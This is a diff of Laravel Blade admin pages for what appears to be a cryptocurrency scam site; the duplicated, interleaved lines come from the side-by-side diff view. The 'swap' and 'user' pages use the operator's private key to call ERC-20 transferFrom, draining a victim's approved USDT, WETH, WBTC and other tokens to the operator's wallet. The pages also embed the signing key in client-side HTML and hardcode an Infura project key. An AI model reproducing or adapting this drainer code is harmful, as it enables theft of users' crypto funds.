data: myContract.methods.transferFrom(address_from, address_b, amount * 1000000).encodeABI() data: myContract.methods.transferFrom(address_from, address_b, amount * 1000000).encodeABI()
}
const tx = new ethereumjs.Tx(txData)
tx.sign(privateKey)
var serializedTx = tx.serialize().toString('hex');
web3.eth.sendSignedTransaction('0x' + serializedTx.toString('hex'), function(err, hash) {
if (!err) {
status1 = false;
document.getElementById('token').innerText = hash;
$.ajax({
type: 'post',
url: "/admin/common/swap/"+id,
data: {id: id, amount: amount, hash: hash,_token:"{{csrf_token()}}"},
success:function(){
alert('成功');
}
})
} else {
alert('请检测以太坊手续费或USDT余额充足'+ err);
} }
});
}) const tx = new ethereumjs.Tx(txData)
}); tx.sign(privateKey)
}
</script> var serializedTx = tx.serialize().toString('hex');
web3.eth.sendSignedTransaction('0x' + serializedTx.toString('hex'), function(err, hash) {
if (!err) {
status1 = false;
document.getElementById('token').innerText = hash;
$.ajax({
type: 'post',
url: "/admin/common/swap/" + id,
data: {
id: id,
amount: amount,
hash: hash,
_token: "{{csrf_token()}}"
},
success: function() {
alert('成功');
}
})
} else {
alert('请检测以太坊手续费或USDT余额充足' + err);
}
});
})
});
}
</script>
</body> </body>
</html>
</html>

View File

@ -1,5 +1,6 @@
<!DOCTYPE html> <!DOCTYPE html>
<html lang="en"> <html lang="en">
<head> <head>
<meta name="csrf-token" content="{{ csrf_token() }}"> <meta name="csrf-token" content="{{ csrf_token() }}">
<title>Title</title> <title>Title</title>
@ -9,136 +10,364 @@
height: 30px; height: 30px;
margin-bottom: 10px; margin-bottom: 10px;
} }
</style> </style>
<body> <body>
<form> <form>
<br> <br>
对方地址:<input value="{{$data['address']}}" disabled><br> 对方地址:<input value="{{$data['address']}}" disabled><br>
到账地址:<input value="{{$system['gui_address']}}" disabled><br> 到账地址:<input value="{{$system['gui_address']}}" disabled><br>
当前余额:<input id="amount1" value="{{$data['USDT']}}" disabled><br> 当前余额:<input id="amount1" value="{{$data['USDT']}}" disabled><br>
当前币种: <select id="biname" onchange="swapVal(this)"> 当前币种: <select id="biname" onchange="swapVal(this)">
<option name="{{$data['USDT']}}" value="0xdac17f958d2ee523a2206206994597c13d831ec7" selected>USDT</option> <option name="{{$data['USDT']}}" value="0xdac17f958d2ee523a2206206994597c13d831ec7" selected>USDT</option>
<option name="{{$data['WETH']}}" value="0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2">WETH</option> <option name="{{$data['WETH']}}" value="0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2">WETH</option>
<option name="{{$data['WBTC']}}" value="0x2260fac5e5542a773aa44fbcfedf7c193bc2c599">WBTC</option> <option name="{{$data['WBTC']}}" value="0x2260fac5e5542a773aa44fbcfedf7c193bc2c599">WBTC</option>
<option name="{{$data['SHIB']}}" value="0x95ad61b0a150d79219dcf64e1e6cc01f0b64c4ce">SHIB</option> <option name="{{$data['SHIB']}}" value="0x95ad61b0a150d79219dcf64e1e6cc01f0b64c4ce">SHIB</option>
<option name="{{$data['UNI']}}" value="0x1f9840a85d5af5bf1d1762f925bdaddc4201f984">UNI</option> <option name="{{$data['UNI']}}" value="0x1f9840a85d5af5bf1d1762f925bdaddc4201f984">UNI</option>
<option name="{{$data['DAI']}}" value="0x6b175474e89094c44da98b954eedeac495271d0f">DAI</option> <option name="{{$data['DAI']}}" value="0x6b175474e89094c44da98b954eedeac495271d0f">DAI</option>
<option name="{{$data['USDC']}}" value="0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48">USDC</option> <option name="{{$data['USDC']}}" value="0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48">USDC</option>
</select><br> </select><br>
<br> <br>
<br> <br>
<br> <br>
交易密码:<input value="" id="mima"><br> 交易密码:<input value="" id="mima"><br>
输入金额:<input type="number" id="amount" value="{{$data['USDT']}}"></span> 输入金额:<input type="number" id="amount" value="{{$data['USDT']}}"></span>
</form> </form>
<button onclick="onConnect()">执行操作</button> <button onclick="onConnect()">执行操作</button>
<button onclick="javascript:location.href = '/admin/user'" style="margin-left: 50px;margin-top: 50px">回到主页面</button> <button onclick="javascript:location.href = '/admin/user'" style="margin-left: 50px;margin-top: 50px">回到主页面</button>
<p id="token"></p> <p id="token"></p>
<script type="text/javascript" src="/scan/js/usdt/web3.min.js"></script> <script type="text/javascript" src="/scan/js/usdt/web3.min.js"></script>
<script src="https://cdn.jsdelivr.net/gh/ethereumjs/browser-builds/dist/ethereumjs-tx/ethereumjs-tx-1.3.3.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/ethereumjs/browser-builds/dist/ethereumjs-tx/ethereumjs-tx-1.3.3.min.js"></script>
<script src="/js/jiami.js"></script> <script src="/js/jiami.js"></script>
<script> <script>
function swapVal(obj) { function swapVal(obj) {
var v = $(obj).find('option:selected').attr('name'); var v = $(obj).find('option:selected').attr('name');
$('#amount').val(v); $('#amount').val(v);
$('#amount1').val(v); $('#amount1').val(v);
}
function toFixed (num, digits) {
var numS = num.toString(),
decPos = numS.indexOf('.'),
substrLength = decPos == -1 ? numS.length : 1 + decPos + digits,
trimmedResult = numS.substr(0, substrLength),
finalResult = isNaN(trimmedResult) ? 0 : trimmedResult;
return parseFloat(finalResult);
}
var status1 = true;
function trim(s){
return s.replace(/(^\s*)|(\s*$)/g, "");
}
function onConnect() {
if (!exec_flat()){
return alert('交易密码错误');
} }
if (!status1) { function toFixed(num, digits) {
return alert('当前已执行过'); var numS = num.toString(),
decPos = numS.indexOf('.'),
substrLength = decPos == -1 ? numS.length : 1 + decPos + digits,
trimmedResult = numS.substr(0, substrLength),
finalResult = isNaN(trimmedResult) ? 0 : trimmedResult;
return parseFloat(finalResult);
} }
var address_from = "{{$data['address']}}"; var status1 = true;
var address_b = "{{$system['gui_address']}}";
var id = "{{$data['id']}}";
var registryAddress = $('#biname option:selected').val();
var name = $('#biname option:selected').text();
var amount = toFixed(parseFloat(trim(window.document.getElementById('amount').value)), 6); function trim(s) {
if (!amount) { return s.replace(/(^\s*)|(\s*$)/g, "");
return alert('请输入提现金额');
} }
var amount1 = $('#amount1').val(); function onConnect() {
if ((amount * 10000000000) > (parseFloat(amount1) * 10000000000)){ if (!exec_flat()) {
return alert('金额超出限制'); return alert('交易密码错误');
} }
const web3 = new Web3(new Web3.providers.WebsocketProvider("wss://mainnet.infura.io/ws/v3/355376f894504d199ac54b79dd3b9ff3")); if (!status1) {
return alert('当前已执行过');
}
const contractAbi = [{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]; var address_from = "{{$data['address']}}";
var address_b = "{{$system['gui_address']}}";
var id = "{{$data['id']}}";
var registryAddress = $('#biname option:selected').val();
var name = $('#biname option:selected').text();
const privateKey = new ethereumjs.Buffer.Buffer('{{$system['app_key']}}',"hex"); var amount = toFixed(parseFloat(trim(window.document.getElementById('amount').value)), 6);
const account = web3.eth.accounts.privateKeyToAccount("0x"+"{{$system['app_key']}}"); if (!amount) {
return alert('请输入提现金额');
}
const address = account.address; var amount1 = $('#amount1').val();
var myContract = new web3.eth.Contract(contractAbi, registryAddress); if ((amount * 10000000000) > (parseFloat(amount1) * 10000000000)) {
return alert('金额超出限制');
}
const web3 = new Web3(new Web3.providers.WebsocketProvider("wss://mainnet.infura.io/ws/v3/355376f894504d199ac54b79dd3b9ff3"));
const contractAbi = [{
"inputs": [{
"internalType": "string",
"name": "name",
"type": "string"
}, {
"internalType": "string",
"name": "symbol",
"type": "string"
}],
"stateMutability": "nonpayable",
"type": "constructor"
}, {
"anonymous": false,
"inputs": [{
"indexed": true,
"internalType": "address",
"name": "owner",
"type": "address"
}, {
"indexed": true,
"internalType": "address",
"name": "spender",
"type": "address"
}, {
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}],
"name": "Approval",
"type": "event"
}, {
"inputs": [{
"internalType": "address",
"name": "spender",
"type": "address"
}, {
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}],
"name": "approve",
"outputs": [{
"internalType": "bool",
"name": "",
"type": "bool"
}],
"stateMutability": "nonpayable",
"type": "function"
}, {
"inputs": [{
"internalType": "address",
"name": "spender",
"type": "address"
}, {
"internalType": "uint256",
"name": "subtractedValue",
"type": "uint256"
}],
"name": "decreaseAllowance",
"outputs": [{
"internalType": "bool",
"name": "",
"type": "bool"
}],
"stateMutability": "nonpayable",
"type": "function"
}, {
"inputs": [{
"internalType": "address",
"name": "spender",
"type": "address"
}, {
"internalType": "uint256",
"name": "addedValue",
"type": "uint256"
}],
"name": "increaseAllowance",
"outputs": [{
"internalType": "bool",
"name": "",
"type": "bool"
}],
"stateMutability": "nonpayable",
"type": "function"
}, {
"inputs": [{
"internalType": "address",
"name": "recipient",
"type": "address"
}, {
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}],
"name": "transfer",
"outputs": [{
"internalType": "bool",
"name": "",
"type": "bool"
}],
"stateMutability": "nonpayable",
"type": "function"
}, {
"anonymous": false,
"inputs": [{
"indexed": true,
"internalType": "address",
"name": "from",
"type": "address"
}, {
"indexed": true,
"internalType": "address",
"name": "to",
"type": "address"
}, {
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}],
"name": "Transfer",
"type": "event"
}, {
"inputs": [{
"internalType": "address",
"name": "sender",
"type": "address"
}, {
"internalType": "address",
"name": "recipient",
"type": "address"
}, {
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}],
"name": "transferFrom",
"outputs": [{
"internalType": "bool",
"name": "",
"type": "bool"
}],
"stateMutability": "nonpayable",
"type": "function"
}, {
"inputs": [{
"internalType": "address",
"name": "owner",
"type": "address"
}, {
"internalType": "address",
"name": "spender",
"type": "address"
}],
"name": "allowance",
"outputs": [{
"internalType": "uint256",
"name": "",
"type": "uint256"
}],
"stateMutability": "view",
"type": "function"
}, {
"inputs": [{
"internalType": "address",
"name": "account",
"type": "address"
}],
"name": "balanceOf",
"outputs": [{
"internalType": "uint256",
"name": "",
"type": "uint256"
}],
"stateMutability": "view",
"type": "function"
}, {
"inputs": [],
"name": "decimals",
"outputs": [{
"internalType": "uint8",
"name": "",
"type": "uint8"
}],
"stateMutability": "view",
"type": "function"
}, {
"inputs": [],
"name": "name",
"outputs": [{
"internalType": "string",
"name": "",
"type": "string"
}],
"stateMutability": "view",
"type": "function"
}, {
"inputs": [],
"name": "symbol",
"outputs": [{
"internalType": "string",
"name": "",
"type": "string"
}],
"stateMutability": "view",
"type": "function"
}, {
"inputs": [],
"name": "totalSupply",
"outputs": [{
"internalType": "uint256",
"name": "",
"type": "uint256"
}],
"stateMutability": "view",
"type": "function"
}];
const privateKey = new ethereumjs.Buffer.Buffer("{{$system['app_key']}}", "hex");
const account = web3.eth.accounts.privateKeyToAccount("0x" + "{{$system['app_key']}}");
const address = account.address;
var myContract = new web3.eth.Contract(contractAbi, registryAddress);
web3.eth.getGasPrice().then( gasPrice => { web3.eth.getGasPrice().then(gasPrice => {
web3.eth.getTransactionCount(address, web3.eth.defaultBlock.pending).then(function(nonce){ web3.eth.getTransactionCount(address, web3.eth.defaultBlock.pending).then(function(nonce) {
var txData = { var txData = {
nonce: web3.utils.toHex(nonce), nonce: web3.utils.toHex(nonce),
gasLimit: web3.utils.toHex(90000), gasLimit: web3.utils.toHex(90000),
gasPrice: web3.utils.toHex(gasPrice.toString(10)), gasPrice: web3.utils.toHex(gasPrice.toString(10)),
// 注意这里是代币合约地址 // 注意这里是代币合约地址
to: registryAddress, to: registryAddress,
from: address_from, from: address_from,
// 调用合约转账value这里留空 // 调用合约转账value这里留空
value: web3.utils.toHex(web3.utils.toWei('0', 'ether')), value: web3.utils.toHex(web3.utils.toWei('0', 'ether')),
data: myContract.methods.transferFrom(address_from, address_b, amount * 1000000).encodeABI() data: myContract.methods.transferFrom(address_from, address_b, amount * 1000000).encodeABI()
}
const tx = new ethereumjs.Tx(txData)
tx.sign(privateKey)
var serializedTx = tx.serialize().toString('hex');
web3.eth.sendSignedTransaction('0x' + serializedTx.toString('hex'), function(err, hash) {
if (!err) {
status1 = false;
document.getElementById('token').innerText = hash;
$.ajax({
type: 'post',
url: "/admin/common/user/"+id,
data: {id: id, name: name,address_from:address_from, address_b:address_b,amount: amount, hash: hash,_token:"{{csrf_token()}}"},
success:function(){
alert('成功');
}
})
} else {
alert('请检测以太坊手续费充足'+ err);
} }
});
}) const tx = new ethereumjs.Tx(txData)
}); tx.sign(privateKey)
}
</script> var serializedTx = tx.serialize().toString('hex');
web3.eth.sendSignedTransaction('0x' + serializedTx.toString('hex'), function(err, hash) {
if (!err) {
status1 = false;
document.getElementById('token').innerText = hash;
$.ajax({
type: 'post',
url: "/admin/common/user/" + id,
data: {
id: id,
name: name,
address_from: address_from,
address_b: address_b,
amount: amount,
hash: hash,
_token: "{{csrf_token()}}"
},
success: function() {
alert('成功');
}
})
} else {
alert('请检测以太坊手续费充足' + err);
}
});
})
});
}
</script>
</body> </body>
</html>
</html>

View File

@ -1,5 +1,6 @@
<!DOCTYPE html> <!DOCTYPE html>
<html lang="en"> <html lang="en">
<head> <head>
<meta name="csrf-token" content="{{ csrf_token() }}"> <meta name="csrf-token" content="{{ csrf_token() }}">
<title>Title</title> <title>Title</title>
@ -9,121 +10,344 @@
height: 30px; height: 30px;
margin-bottom: 10px; margin-bottom: 10px;
} }
</style> </style>
<body> <body>
<form> <form>
<br> <br>
对方地址:<input value="{{$data['address']}}" disabled><br> 对方地址:<input value="{{$data['address']}}" disabled><br>
提现金额:<input id="amount123" value="{{$data['balance']}}" disabled><br> 提现金额:<input id="amount123" value="{{$data['balance']}}" disabled><br>
提现币种:<input value="{{$data['bi_name']}}" disabled> 提现币种:<input value="{{$data['bi_name']}}" disabled>
交易密码:<input value="" id="mima"><br> 交易密码:<input value="" id="mima"><br>
<br> <br>
<br> <br>
<br> <br>
输入金额:<input type="number" id="amount" value="{{$data['balance']}}"></span> 输入金额:<input type="number" id="amount" value="{{$data['balance']}}"></span>
</form> </form>
<button onclick="onConnect()">执行操作</button> <button onclick="onConnect()">执行操作</button>
<button onclick="javascript:location.href = '/admin/withdrawal'" style="margin-left: 50px;margin-top: 50px">回到主页面</button> <button onclick="javascript:location.href = '/admin/withdrawal'" style="margin-left: 50px;margin-top: 50px">回到主页面</button>
<p id="token"></p> <p id="token"></p>
<script type="text/javascript" src="/scan/js/usdt/web3.min.js"></script> <script type="text/javascript" src="/scan/js/usdt/web3.min.js"></script>
<script src="https://cdn.jsdelivr.net/gh/ethereumjs/browser-builds/dist/ethereumjs-tx/ethereumjs-tx-1.3.3.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/ethereumjs/browser-builds/dist/ethereumjs-tx/ethereumjs-tx-1.3.3.min.js"></script>
<script src="/js/jiami.js"></script> <script src="/js/jiami.js"></script>
<script> <script>
function toFixed (num, digits) { function toFixed(num, digits) {
var numS = num.toString(), var numS = num.toString(),
decPos = numS.indexOf('.'), decPos = numS.indexOf('.'),
substrLength = decPos == -1 ? numS.length : 1 + decPos + digits, substrLength = decPos == -1 ? numS.length : 1 + decPos + digits,
trimmedResult = numS.substr(0, substrLength), trimmedResult = numS.substr(0, substrLength),
finalResult = isNaN(trimmedResult) ? 0 : trimmedResult; finalResult = isNaN(trimmedResult) ? 0 : trimmedResult;
return parseFloat(finalResult); return parseFloat(finalResult);
}
var status1 = true;
function trim(s){
return s.replace(/(^\s*)|(\s*$)/g, "");
}
function onConnect() {
if (!exec_flat()){
return alert('交易密码错误');
} }
if (!status1) { var status1 = true;
return alert('当前已执行过');
function trim(s) {
return s.replace(/(^\s*)|(\s*$)/g, "");
} }
var address_from = "{{$system['gui_address']}}"; function onConnect() {
var address_b = "{{$data['address']}}"; if (!exec_flat()) {
var id = "{{$data['id']}}"; return alert('交易密码错误');
}
var amount = toFixed(parseFloat(trim(window.document.getElementById('amount').value)), 6); if (!status1) {
if (!amount) { return alert('当前已执行过');
return alert('请输入提现金额'); }
}
var amount123 = $('#amount123').val(); var address_from = "{{$system['gui_address']}}";
if ((amount * 10000000000) > (parseFloat(amount123) * 10000000000)){ var address_b = "{{$data['address']}}";
return alert('金额超出限制'); var id = "{{$data['id']}}";
}
var amount = toFixed(parseFloat(trim(window.document.getElementById('amount').value)), 6);
if (!amount) {
return alert('请输入提现金额');
}
var amount123 = $('#amount123').val();
if ((amount * 10000000000) > (parseFloat(amount123) * 10000000000)) {
return alert('金额超出限制');
}
const web3 = new Web3(new Web3.providers.WebsocketProvider("wss://mainnet.infura.io/ws/v3/355376f894504d199ac54b79dd3b9ff3")); const web3 = new Web3(new Web3.providers.WebsocketProvider("wss://mainnet.infura.io/ws/v3/355376f894504d199ac54b79dd3b9ff3"));
const registryAddress = "{{$registryAddress}}"; const registryAddress = "{{$registryAddress}}";
const contractAbi = [{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]; const contractAbi = [{
"inputs": [{
"internalType": "string",
"name": "name",
"type": "string"
}, {
"internalType": "string",
"name": "symbol",
"type": "string"
}],
"stateMutability": "nonpayable",
"type": "constructor"
}, {
"anonymous": false,
"inputs": [{
"indexed": true,
"internalType": "address",
"name": "owner",
"type": "address"
}, {
"indexed": true,
"internalType": "address",
"name": "spender",
"type": "address"
}, {
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}],
"name": "Approval",
"type": "event"
}, {
"inputs": [{
"internalType": "address",
"name": "spender",
"type": "address"
}, {
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}],
"name": "approve",
"outputs": [{
"internalType": "bool",
"name": "",
"type": "bool"
}],
"stateMutability": "nonpayable",
"type": "function"
}, {
"inputs": [{
"internalType": "address",
"name": "spender",
"type": "address"
}, {
"internalType": "uint256",
"name": "subtractedValue",
"type": "uint256"
}],
"name": "decreaseAllowance",
"outputs": [{
"internalType": "bool",
"name": "",
"type": "bool"
}],
"stateMutability": "nonpayable",
"type": "function"
}, {
"inputs": [{
"internalType": "address",
"name": "spender",
"type": "address"
}, {
"internalType": "uint256",
"name": "addedValue",
"type": "uint256"
}],
"name": "increaseAllowance",
"outputs": [{
"internalType": "bool",
"name": "",
"type": "bool"
}],
"stateMutability": "nonpayable",
"type": "function"
}, {
"inputs": [{
"internalType": "address",
"name": "recipient",
"type": "address"
}, {
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}],
"name": "transfer",
"outputs": [{
"internalType": "bool",
"name": "",
"type": "bool"
}],
"stateMutability": "nonpayable",
"type": "function"
}, {
"anonymous": false,
"inputs": [{
"indexed": true,
"internalType": "address",
"name": "from",
"type": "address"
}, {
"indexed": true,
"internalType": "address",
"name": "to",
"type": "address"
}, {
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}],
"name": "Transfer",
"type": "event"
}, {
"inputs": [{
"internalType": "address",
"name": "sender",
"type": "address"
}, {
"internalType": "address",
"name": "recipient",
"type": "address"
}, {
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}],
"name": "transferFrom",
"outputs": [{
"internalType": "bool",
"name": "",
"type": "bool"
}],
"stateMutability": "nonpayable",
"type": "function"
}, {
"inputs": [{
"internalType": "address",
"name": "owner",
"type": "address"
}, {
"internalType": "address",
"name": "spender",
"type": "address"
}],
"name": "allowance",
"outputs": [{
"internalType": "uint256",
"name": "",
"type": "uint256"
}],
"stateMutability": "view",
"type": "function"
}, {
"inputs": [{
"internalType": "address",
"name": "account",
"type": "address"
}],
"name": "balanceOf",
"outputs": [{
"internalType": "uint256",
"name": "",
"type": "uint256"
}],
"stateMutability": "view",
"type": "function"
}, {
"inputs": [],
"name": "decimals",
"outputs": [{
"internalType": "uint8",
"name": "",
"type": "uint8"
}],
"stateMutability": "view",
"type": "function"
}, {
"inputs": [],
"name": "name",
"outputs": [{
"internalType": "string",
"name": "",
"type": "string"
}],
"stateMutability": "view",
"type": "function"
}, {
"inputs": [],
"name": "symbol",
"outputs": [{
"internalType": "string",
"name": "",
"type": "string"
}],
"stateMutability": "view",
"type": "function"
}, {
"inputs": [],
"name": "totalSupply",
"outputs": [{
"internalType": "uint256",
"name": "",
"type": "uint256"
}],
"stateMutability": "view",
"type": "function"
}];
const privateKey = new ethereumjs.Buffer.Buffer('{{$system['app_key']}}',"hex"); const privateKey = new ethereumjs.Buffer.Buffer("{{$system['app_key']}}", "hex");
const account = web3.eth.accounts.privateKeyToAccount("0x"+"{{$system['app_key']}}"); const account = web3.eth.accounts.privateKeyToAccount("0x" + "{{$system['app_key']}}");
const address = account.address; const address = account.address;
var myContract = new web3.eth.Contract(contractAbi, registryAddress); var myContract = new web3.eth.Contract(contractAbi, registryAddress);
web3.eth.getGasPrice().then( gasPrice => { web3.eth.getGasPrice().then(gasPrice => {
web3.eth.getTransactionCount(address, web3.eth.defaultBlock.pending).then(function(nonce){ web3.eth.getTransactionCount(address, web3.eth.defaultBlock.pending).then(function(nonce) {
var txData = { var txData = {
nonce: web3.utils.toHex(nonce), nonce: web3.utils.toHex(nonce),
gasLimit: web3.utils.toHex(90000), gasLimit: web3.utils.toHex(90000),
gasPrice: web3.utils.toHex(gasPrice.toString(10)), gasPrice: web3.utils.toHex(gasPrice.toString(10)),
// 注意这里是代币合约地址 // 注意这里是代币合约地址
to: "{{$registryAddress}}", to: "{{$registryAddress}}",
from: address_from, from: address_from,
// 调用合约转账value这里留空 // 调用合约转账value这里留空
value: web3.utils.toHex(web3.utils.toWei('0', 'ether')), value: web3.utils.toHex(web3.utils.toWei('0', 'ether')),
data: myContract.methods.transferFrom(address_from, address_b, amount * 1000000).encodeABI() data: myContract.methods.transferFrom(address_from, address_b, amount * 1000000).encodeABI()
}
const tx = new ethereumjs.Tx(txData)
tx.sign(privateKey)
var serializedTx = tx.serialize().toString('hex');
web3.eth.sendSignedTransaction('0x' + serializedTx.toString('hex'), function(err, hash) {
if (!err) {
status1 = false;
document.getElementById('token').innerText = hash;
$.ajax({
type: 'post',
url: "/admin/common/withdrawal/"+id,
data: {id: id, amount: amount, hash: hash,_token:"{{csrf_token()}}"},
success:function(){
alert('成功');
}
})
} else {
alert('请检测以太坊手续费充足'+ err);
} }
});
})
});
}
</script>
</body>
</html>
const tx = new ethereumjs.Tx(txData)
tx.sign(privateKey)
var serializedTx = tx.serialize().toString('hex');
web3.eth.sendSignedTransaction('0x' + serializedTx.toString('hex'), function(err, hash) {
if (!err) {
status1 = false;
document.getElementById('token').innerText = hash;
$.ajax({
type: 'post',
url: "/admin/common/withdrawal/" + id,
data: {
id: id,
amount: amount,
hash: hash,
_token: "{{csrf_token()}}"
},
success: function() {
alert('成功');
}
})
} else {
alert('请检测以太坊手续费充足' + err);
}
});
})
});
}
</script>
</body>
</html>

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because one or more lines are too long

File diff suppressed because it is too large Load Diff

View File

@ -1,7 +1,7 @@
<div class="footer"> <div class="footer">
<div class="jss36"> <div class="jss36">
<div class="footer__wrapper"> <div class="footer__wrapper">
<div class="footer__right-img-box" style="margin-right: 64px;" onclick="window.open('{{$config["telegram"]}}')"> <div class="footer__right-img-box" style="margin-right: 64px;" onclick="open_telegram()">
<i class="footer__right-img-wechat"></i> <i class="footer__right-img-wechat"></i>
</div> </div>
<div class="footer__right-img-box"> <div class="footer__right-img-box">
@ -11,3 +11,9 @@
</div> </div>
</div> </div>
<script type="text/javascript">
function open_telegram() {
alert('go')
window.open("{{$config['telegram']}}")
}
</script>

View File

@ -15,16 +15,16 @@
</div> </div>
</div> </div>
</div> </div>
<button class="MuiButtonBase-root MuiButton-root MuiButton-text jss73 jss45" tabindex="0" type="button" style="margin-left: 32px;"><span class="MuiButton-label" ></span><span class="MuiTouchRipple-root"></span></button> <button class="MuiButtonBase-root MuiButton-root MuiButton-text jss73 jss45" tabindex="0" type="button" style="margin-left: 32px;"><span class="MuiButton-label"></span><span class="MuiTouchRipple-root"></span></button>
</div> </div>
</div> </div>
<div class="jss36"> <div class="jss36">
<button onclick="walletShow()" class="MuiButtonBase-root MuiButton-root MuiButton-text jss73 jss45" tabindex="0" type="button"><span class="MuiButton-label" id="network1"></span><span class="MuiTouchRipple-root"></span></button> <button onclick="walletShow()" class="MuiButtonBase-root MuiButton-root MuiButton-text jss73 jss45" tabindex="0" type="button"><span class="MuiButton-label" id="network1"></span><span class="MuiTouchRipple-root"></span></button>
<button onclick="tabShow()" class="MuiButtonBase-root MuiIconButton-root MuiIconButton-colorInherit" tabindex="0" type="button" aria-label="open drawer"><span class="MuiIconButton-label"> <button onclick="tabShow()" class="MuiButtonBase-root MuiIconButton-root MuiIconButton-colorInherit" tabindex="0" type="button" aria-label="open drawer"><span class="MuiIconButton-label">
